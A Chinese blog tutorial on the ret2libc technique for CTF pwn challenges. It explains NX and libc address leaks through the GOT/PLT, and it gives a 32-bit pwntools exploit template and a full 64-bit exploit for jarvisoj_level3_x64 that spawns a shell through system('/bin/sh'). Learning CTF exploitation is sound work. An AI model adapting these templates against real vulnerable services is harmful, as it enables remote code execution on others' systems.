PWN题型之Ret2Libc

5 篇文章 2 订阅

前言

菜鸡总结,如有不对,请不吝赐教。



0x1 :使用前提条件

存在溢出条件,题目没有system等后门函数,并且开启了NX保护

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。这样就会导致你直接构造的shellcode没有用。



0x2 :解题思路

首先要明白我们的目的是找到system函数以及binsh参数的地址。

那怎么找到system(/bin/sh)的地址呢?
首先我们要知道一个公式 :函数的真正地址 = 基地址 + 偏移地址

偏移地址:这就是与libc有关的原因,libc是Linux系统下的c函数库,既然是函数库就会存在system函数,binsh参数,libc里面存放的是函数的偏移地址。但是libc.so版本有很多,版本不同偏移量就不同,只要确定了libc版本就能偏移地址。

基地址:基地址在同一次运行时是相同的,但第二次运行就不同了,所以造成了函数的真正地址一直在变,但即使一直在变,最后三位却一直相同。这样只要知道某个函数的某一次地址,利用它的后三位,然后在网站上https://libc.blukat.me/搜寻,就能获得libc版本

综上的分析结果是:泄露某个函数的真正地址,然后利用最后三位来确定libc版本,然后用来查找system函数与该函数的偏移地址。利用公式基地址 = 函数的真正地址- 偏移量 来确定基地址。然后利用公式来确定system函数真正地址。

那怎样获得其他函数的真正地址?
我们知道puts函数,write函数等可以打印内容,这样的话我们可以直接利用他们打印出他们的真正地址(注意这个函数必须已经出现过了)。
我们可以使用Linux延迟绑定机制。这个只需知道在libc中存在got表和plt表,plt存放的是进入这个函数的地址,而got表中存放的是这个函数的真正地址。
我们可以利用puts函数,write函数等函数打印它自己的真正的地址,然后找到libc版本,基地址,然后找到system函数地址




0x3 :32位程序libc题型模板

如果以上的讲解不懂,没关系,只要你会写就行,因为libc题型大体是有一个模板的,你记住了就行。

from pwn import *

r = process("./pwn")
#r = remote()

libc = ELF("./libc____")
e = ELF("./pwn")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]

offset = 
payload = offset*'a' + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

#r.recvuntil()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

write_offset = libc.symbols["write"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search("/bin/sh").next()

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

payload = offset*'a' + p32(system_addr) + p32(1) + p32(binsh_addr)

#r.recvuntil()
r.sendline(payload)
r.interactive()

0x4 :代码的解析

e = ELF("./pwn")

调用题目pwn的elf文件


context(log_level = ‘debug’)

这是debug调试代码,做这种题很难一步就做对,加上这个方便你调试查看问题


write_plt_addr = e.plt[“write”]
write_got_addr = e.got[“write”]
main_addr = e.symbols[“main”]

调用程序的的elf文件,然后这个是打印出其中write函数的plt表和got表的地址,以及打印main函数的地址(打印函数用symbols)



payload:

offset = 0x88 + 4
payload = offset*‘a’ + p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(write_got_addr) + p32(4)

构造payload,先是填充字节,然后到达返回地址。利用rop技术。

32位程序:先是write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)

注意:这里的预留返回地址很重要,它的目的是要再循环一此,所以该地址必须在溢出点之前,可以是main函数起点

目的:利用write函数打印的功能,泄露write函数的真正地址(got表中的,当然你也可以泄露其他在main函数里面已经运行过的函数)。



r.recvuntil(“Input:\n”)
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

第一行的意思是在"input:\n"以后发送payload,然后u32是32位解包,r.recv接收字节4位。最后print打印write函数的地址,hex是以十六进制的形式



打印出write函数的地址以后,怎么找到函数的偏移量呢?

(1)利用后三位用https://libc.blukat.me/来查询libc版本以此来获取函数的偏移量。直接自己手动打出来

write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C

(2)利用LibcSearch模块自动的获取libc版本,然后直接就可以打印出来偏移量了,不过有些libc版本找不到,并且如果题目给出了libc版本,像buuctf里面的给出了libc版本就无需用这个方法了。

from LibcSearcher import
libc=LibcSearcher(‘read’,read_addr) #read为你要泄露的地址
read_offset = libc.dump(‘read’)
system_offset = libc.dump(‘system’)
binsh_offset = libc.dump(‘str_bin_sh’)

(3)如果题目直接给出了文件的libc版本,就无需自己写出具体的偏移量了

libc = ELF("./libc-2.27.so")
system_offset = libc.symbols[‘system’]
binsh_offset = libc.search(’/bin/sh’).next()
write_offset = libc.symbols[‘write’]



找到偏移量以后,接下来就是利用公式函数的真正地址 = 函数偏移地址 + 基地址。来获得基地址,以此来获得system函数的真正地址

write_offset = 0x000DD460
system_offset = 0x040310
binsh_offset = 0x162D4C

base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset


找到system函数和binsh参数地址以后,就和以前的溢出一样了,并且之前发送的payload是回到了main函数,即重新开始运行程序





0x5 :64位程序实例

上面的讲解是32位程序的,下面以64位程序的jarvisoj_level3_x64题为例进行讲解。
注意:32位程序和64位程序会存在不同。且与32位程序相比,64位程序相比更加复杂。



程序分析 :64位程序,只开启了NX保护 。然后打开IDA,查看一下程序源代码

在这里插入图片描述

代码分析:很明显read函数存在溢出。 然后查找字符串没有发现后门地址,开启了NX保护,利用libc泄露system函数地址

64位与32位程序不同:64位是先传参,而32是栈里面传参是后传参。64位程序的参数从左到右依次放入寄存器: rdi, rsi, rdx, rcx, r8, r9中。
payload:

payload = offset*‘a’ + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)

含义:偏移量 + rdi寄存器 + 第一个参数 + rsi寄存器 + 第二个参数 + rdx寄存器 + 第三个参数 + write函数的地址 + 预留返回地址

在传参时先需要确定这个参数的位置命令为:

ROPgadget --binary ./pwn --only “pop|ret”

muggle@muggle-virtual-machine:~/CTF-Pwn/jieti-pwn$ ROPgadget --binary ./pwn --only “pop|ret”
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret


Unique gadgets found: 11

注意:

(1)由于该程序,没有rdx寄存器,而write函数的第三个参数为输出的字节数,而无论你输出多少,我只要取前面几个就行了,所以rdx从寄存器没有也没事。同时在这道题当中rsi后后面还有一个r15,所以无论你输入什么都可以,这就是加上那个p64(0)的原因。

(2)如果是puts函数的话,就只有一个参数,只要一个寄存器rdi就会更加简单。

不同之处,64位需要字节数对齐,所以有时候你需要加入一个ret_addr 地地址,至于具体是什么时候加我还是没搞懂。

由于本题存在libc版本,直接可以用前面提到的第三种方法来求偏移量。

完整的exp :

from pwn import *

r = remote("node4.buuoj.cn",25714)
#r = process("./pwn")

context(log_level = 'debug')
e = ELF("./pwn")
libc = ELF("./libc-2.23.so")

write_plt_addr = e.plt["write"]
write_got_addr = e.got["write"]
main_addr = e.symbols["main"]
rdi_addr = 0x00000000004006b3
rsi_r15_addr = 0x00000000004006b1

offset = 0x80 + 8
payload = offset*'a' + p64(rdi_addr) + p64(1) + p64(rsi_r15_addr) + p64(write_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
r.recvuntil("Input:\n")
r.sendline(payload)

write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#write_addr = u64(r.recv(8))
print(hex(write_addr))

base_addr = write_addr - libc.symbols["write"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()

payload2 = offset*'a' + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) + p64(1)
r.recvuntil("Input:\n")
r.sendline(payload2)
r.interactive()

注意:
不同之处

write_addr = u64(r.recvuntil(’\x7f’)[-6:].ljust(8,"\x00"))

代码含义:接收从7f之前的6位,然后不足的用0补充(ljust(8,“、x00”))

当然这道题用下面两种都是可以的,但是有些情况却不行,如下图

write_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#write_addr = u64(r.recv(8))

在这里插入图片描述
首先你要知道这个64位的地址都是7f开头的

如果是用第二种的话就会截取前八个字节,而在7f之前还有另外的输出,就会造成错误,而用的是第一种取7f之前的就不会出错,所以以后尽量用第一种,不容易出错。你当然可以用debug调试查看一下。

说明:以上的所有情况并不都是绝对的,具体题目题目会存在不同,所以需要你自己学会怎么样去调试

注意:recvuntil()时如果时puts函数,你复制粘贴时一定要记得加上\n,这个当你运行这个程序时可以看到它时换行了的,而puts函数是自动添加了\n,在代码里面没有写出来。

我也不知道讲明白没有,可能也存在问题,如有什么不对。请不吝赐教。

  • 30
    点赞
  • 84
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值